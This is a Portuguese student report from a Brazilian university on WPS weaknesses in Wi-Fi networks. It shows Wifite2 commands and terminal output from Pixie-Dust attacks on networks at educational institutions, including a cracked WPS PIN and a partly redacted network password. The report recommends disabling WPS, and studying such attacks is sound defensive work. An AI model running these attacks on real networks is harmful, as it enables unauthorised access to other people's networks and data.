



Atividade Orientada a Ensino

Acadêmico: Victor Hugo Lima Bauer

RGA: 2020.1907.025-9

Professor: Carlos Alberto da Silva

Atividade: Segurança da Informação Aplicada a redes Wireless

INTRODUÇÃO

As atividades orientadas a ensino realizadas focaram no tema de Segurança da Informação focada em redes wireless (sem fio), com estudos direcionados a teste de intrusão explorando vulnerabilidades do protocolo WPS. As ferramentas estudadas e equipamentos utilizados estão listados a seguir, exibindo os comandos executados, resultados obtidos e vulnerabilidades encontradas e exploradas.

METODOLOGIA

Instituições investigadas

Oito instituições de ensino foram escolhidas para a aplicação dos testes, cobrindo diferentes níveis educacionais, tanto em instituições públicas quanto privadas. Para garantir a segurança desses locais, devido às suas vulnerabilidades, seus domínios serão ocultados durante a amostragem dos testes.

WPS

O Protocolo de Configuração Protegida Wi-Fi (WPS) apresenta uma falha conhecida como vulnerabilidade do PIN numérico. Essa vulnerabilidade permite que invasores descubram o PIN de 8 dígitos do WPS por meio de ataques de força bruta, ganhando acesso não autorizado à rede Wi-Fi em um curto período de tempo. Mesmo com algumas correções, muitos dispositivos continuam vulneráveis, tornando a desativação do WPS uma medida recomendada para garantir a segurança da rede.



Equipamentos utilizados

Kali Linux:

Por ser um sistema projetado com foco em testes de penetração e possuir nativamente diversas ferramentas otimizadas para essa finalidade, o Kali Linux foi selecionado como sistema operacional durante os testes.

Placa Wireless:

Para realizar os testes com sucesso, é vital usar uma placa wireless que suporte modo monitor e injeção de pacotes. Sem esse suporte, não será viável escanear as redes próximas e efetuar os ataques. O modelo de placa utilizado foi um TP-LINK TL-WN722N.



Técnica de intrusão

Como o foco do estudo foi em analisar as vulnerabilidades inerentes do uso do protocolo WPS, o tipo de ataque escolhido foi o Pixie-Dust, pois com ele é possível realizar o ataque de força bruta para descoberta do PIN de forma offline, evitando assim algumas contra medidas criadas por fabricantes de equipamentos roteadores. Pelo Wifite2 incorporar o Pixiewps em seu código, se torna fácil a utilização desse tipo de ataque para encontrar a chave PIN da rede.



Ferramentas

Wifite2

Foi utilizado Wifite2 para escanear as redes wireless das instituições, a fim de encontrar quais possuíam o protocolo WPS. Através do comando `$sudo wifite` foi iniciada a ferramenta e escolhida a placa da TP-LINK.

```
(gengar@engar)-[~]
└─$ sudo wifite --kill
[sudo] password for gengar:
wifite2 2.7.0
a wireless auditor by derv82
maintained by kimocoder
https://github.com/kimocoder/wifite2

[+] option: kill conflicting processes enabled

Interface  PHY  Driver  Chipset
-----
1. wlan0    phy8  rtl8xxxu  TP-Link TL-WN722N v2/v3 [Realtek RTL8188EUS]
2. wlan1    phy1  ath10k_pci  Qualcomm Atheros QCA9377 802.11ac Wireless Network Adapter (rev 30)

[+] Select wireless interface (1-2): 1
[+] Enabling monitor mode on wlan0... enabled!
```

Após escolher a interface que representa nossa placa, a ferramenta começa a escanear as redes por perto, sendo possível identificar o ESSID, canal de comunicação, protocolo de segurança, potência do sinal, se está utilizando o protocolo WPS, e quantos clientes estão conectados no momento.

```
[+] Using wlan0 already in monitor mode

NUM  ESSID  CH  ENCR  PWR  WPS  CLIENT
-----
1  (64:13:AB:16:C3:33)  6  WPA-P  33db  no
2  MesaExterno  3  WPA-P  31db  yes
3  Oi C6DA  1  WPA-P  29db  yes
4  HUAWEI-2.4G-J3c8  6  WPA-P  28db  yes
5  OTDO_2GDD3E4A  1  WPA-P  23db  yes  1
6  (00:27:22:3A:C6:54)  9  WPA-P  22db  no
7  [REDACTED]  11  WPA-P  21db  no
8  MESA_2G  11  WPA-P  21db  yes
9  (7A:3E:A1:C6:A5:19)  4  WPA-P  16db  no
10  LIGUE-AEB4  4  WPA-P  16db  yes
11  MesaExterno  3  WPA-P  14db  yes
12  Kessy  6  WPA-P  7db  yes
13  Fran Fernandes 2.4Ghz  9  WPA-P  7db  yes  1
14  [REDACTED]  4  WPA-P  7db  yes
15  MESA_2G  11  WPA-P  7db  no
16  Pedro Otavio  11  WPA-P  7db  no
17  Cortez_Novo  6  WPA-P  7db  no

[+] Select target(s) (1-17) separated by commas, dashes or all: █
```

Dessa forma, é possível informar os IDs das redes para realização dos ataques.



```
NUM          ESSID          CH  ENCR  PWR  WPS  CLIENT
-----
1             (BC:2E:48:D3:35:82)  9   WPA   99db no    1
2             2R.Veiculos          1   WPA-P 37db yes
3 Resvado     NET_2GD1F80A        11   WPA-P 26db yes
4             CLARO_2GFF3593      11   WPA-P 18db yes
5             DIRECT-xY           1   WPA-P 18db yes
6             [REDACTED]          11   WPA-P 15db yes
7             CLARO_2G801B88      1   WPA-P 7db  yes
8             DigitalNet - Marcos  1   WPA-P 7db  yes
9             [REDACTED]          6   WPA-P 7db  no
10 ash       [REDACTED]          6   WPA-P 7db  no
11             Salacurso           6   WPA-P 7db  yes
12             COPWORLD            5   WPA-P 7db  no
13             CNV_INDUSTRIA_2G    11   WPA-P 7db  yes
14 DigitalNet - Saul Junior  3   WPA-P 7db  yes
15             Sergehi             4   WPA-P 7db  yes
16             Oficina             8   WPA-P 7db  no
17             SalemeFatima_2G    11   WPA-P 7db  no

[+] Select target(s) (1-17) separated by commas, dashes or all: 6

[+] (1/1) Starting attacks against 90:0A:62:6B:D2:3F ([REDACTED]) become
[+] [REDACTED] (24db) WPS Pixie-Dust: [2m39s] Cracked WPS PIN: 12345670
[+] [REDACTED] (24db) WPS Pixie-Dust: [2m26s] Cracked WPS PSK: Cb@ [REDACTED]
[+] ESSID: [REDACTED]
[+] BSSID: 90:0A:62:6B:D2:3F
[+] Encryption: WPA (WPS)
[+] WPS PIN: 12345670
[+] PSK/Password: Cb@ [REDACTED]
[+] saved crack result to cracked.json (6 total)
[+] Finished attacking 1 target(s), exiting
```

Após a escolha da rede, a ferramenta executa o ataque Pixie-Dust, e ao obter sucesso, apresenta as informações de PIN e senha da rede obtidas. Dessa forma, quebrando a segurança da rede, e dos dados que por ela trafegam.

CONCLUSÃO

Na atividade orientada a ensino realizada, foi possível observar que por ser cada dia mais fácil ter acesso a equipamentos e ferramentas para realizar ataques a redes sem fio, concluímos que é necessário realizar o monitoramento de vulnerabilidades dos protocolos de segurança de maneira recorrente.

Conforme foi possível constatar nesta atividade, existem instituições que ainda possuem em suas redes vulnerabilidades referentes ao WPS. O que pode trazer diversos malefícios para a corporação, pois uma vez que um atacante não autorizado esteja dentro da rede da instituição, este pode iniciar diversos outros ataques, interceptando pacotes da rede, realizando exposição dos dados dos usuários, atacando outras instituições através da rede



Serviço Público Federal
Ministério da Educação

Fundação Universidade Federal de Mato Grosso do Sul



invadida, e dependendo da configuração da a rede, realizar escaneamento de dispositivos conectados à rede através de softwares específicos.

Portanto, o estudo em segurança da informação focado em redes wireless foi fundamental para o entendimento que é recomendado que corporações optem por desabilitar recursos de WPS quando possível para trazer um nível maior de segurança à rede, evitando assim as vulnerabilidades que esse protocolo possa proporcionar.

Campo Grande, 30 de novembro de 2023.

Victor Hugo Lima Bauer